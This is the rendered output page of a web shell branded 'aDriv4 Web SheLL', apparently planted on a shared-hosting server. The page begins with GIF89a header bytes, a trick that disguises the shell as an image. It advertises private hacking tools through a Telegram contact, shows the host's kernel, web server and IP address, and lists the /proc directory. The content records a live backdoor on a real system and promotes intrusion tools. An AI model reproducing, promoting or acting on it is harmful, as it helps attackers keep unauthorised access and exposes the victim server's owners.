GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium117.web-hosting.com 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
 LiteSpeed
 162.0.229.112
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-11 08:58:34
.. dir - root/root 0755 2025-08-05 08:39:35
1314011 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:32
1622769 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:32
1690953 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:32
1691696 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:32
1693594 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:32
1696955 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:32
1698984 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:32
1699918 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:32
1700763 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:33
585893 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:31
586019 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:31
586096 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:31
586441 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:31
acpi dir - root/root 0555 2025-06-11 08:58:37
bus dir - root/root 0555 2025-06-11 08:58:47
driver dir - root/root 0555 2025-09-06 10:33:34
fs dir - root/root 0555 2025-06-11 08:58:47
irq dir - root/root 0555 2025-06-11 08:58:47
kcare dir - root/root 0555 2025-09-06 10:33:34
lve dir - root/root 0555 2025-09-06 10:33:33
net link - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:34
scsi dir - root/root 0555 2025-06-11 08:58:47
self link - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:32
sys dir - root/root 0555 2025-06-11 08:58:35
sysvipc dir - root/root 0555 2025-09-06 10:33:34
thread-self link - rxflqrzo/rxflqrzo 0555 2025-09-06 10:33:34
tty dir - root/root 0555 2025-09-06 10:33:34
buddyinfo 0 B root/root 0444 2025-09-06 10:33:34
cgroups 0 B root/root 0444 2025-09-06 10:33:34
cmdline text/plain 0 B root/root 0444 2025-09-06 10:33:33
consoles 0 B root/root 0444 2025-09-06 10:33:34
cpuinfo text/plain 0 B root/root 0444 2025-09-06 10:33:34
crypto 0 B root/root 0444 2025-09-06 10:33:34
devices 0 B root/root 0444 2025-09-06 10:33:34
diskstats 0 B root/root 0444 2025-09-06 10:33:34
dma 0 B root/root 0444 2025-09-06 10:33:34
execdomains 0 B root/root 0444 2025-09-06 10:33:34
fb 0 B root/root 0444 2025-09-06 10:33:34
filesystems text/plain 0 B root/root 0444 2025-09-06 10:33:08
interrupts 0 B root/root 0444 2025-09-06 10:33:34
iomem 0 B root/root 0444 2025-09-06 10:33:34
ioports 0 B root/root 0444 2025-09-06 10:33:34
kallsyms 0 B root/root 0444 2025-06-11 08:58:47
kcore 128 TB root/root 0400 2025-06-11 08:58:37
key-users 0 B root/root 0444 2025-09-06 10:33:34
keys 0 B root/root 0444 2025-09-06 10:33:34
kmsg 0 B root/root 0400 2025-09-06 10:33:34
kpagecgroup 0 B root/root 0400 2025-09-06 10:33:34
kpagecount 0 B root/root 0400 2025-09-06 10:33:34
kpageflags 0 B root/root 0400 2025-09-06 10:33:34
loadavg text/plain 0 B root/root 0444 2025-09-06 10:33:34
locks 0 B root/root 0444 2025-09-06 10:33:34
mdstat 0 B root/root 0444 2025-09-06 10:33:34
meminfo text/plain 0 B root/root 0444 2025-09-06 10:33:08
misc 0 B root/root 0444 2025-09-06 10:33:34
modules 0 B root/root 0444 2025-09-06 10:33:34
mounts text/plain 0 B rxflqrzo/rxflqrzo 0444 2025-09-06 10:33:34
mtrr 0 B root/root 0644 2025-06-11 08:58:47
pagetypeinfo 0 B root/root 0400 2025-09-06 10:33:34
partitions 0 B root/root 0444 2025-09-06 10:33:34
sched_debug 0 B root/root 0444 2025-09-06 10:33:34
schedstat 0 B root/root 0444 2025-09-06 10:33:34
slabinfo 0 B root/root 0400 2025-09-06 10:33:34
softirqs 0 B root/root 0444 2025-09-06 10:33:34
stat text/plain 0 B root/root 0444 2025-09-06 10:33:08
swaps 0 B root/root 0444 2025-06-11 08:58:35
sysrq-trigger 0 B root/root 0200 2025-06-11 08:58:47
timer_list 0 B root/root 0400 2025-09-06 10:33:34
uptime text/plain 0 B root/root 0444 2025-09-06 10:31:32
version text/plain 0 B root/root 0444 2025-09-06 10:33:34
vmallocinfo 0 B root/root 0400 2025-09-06 10:33:34
vmstat 0 B root/root 0444 2025-09-06 10:33:34
zoneinfo 0 B root/root 0444 2025-09-06 10:33:34
© aDriv4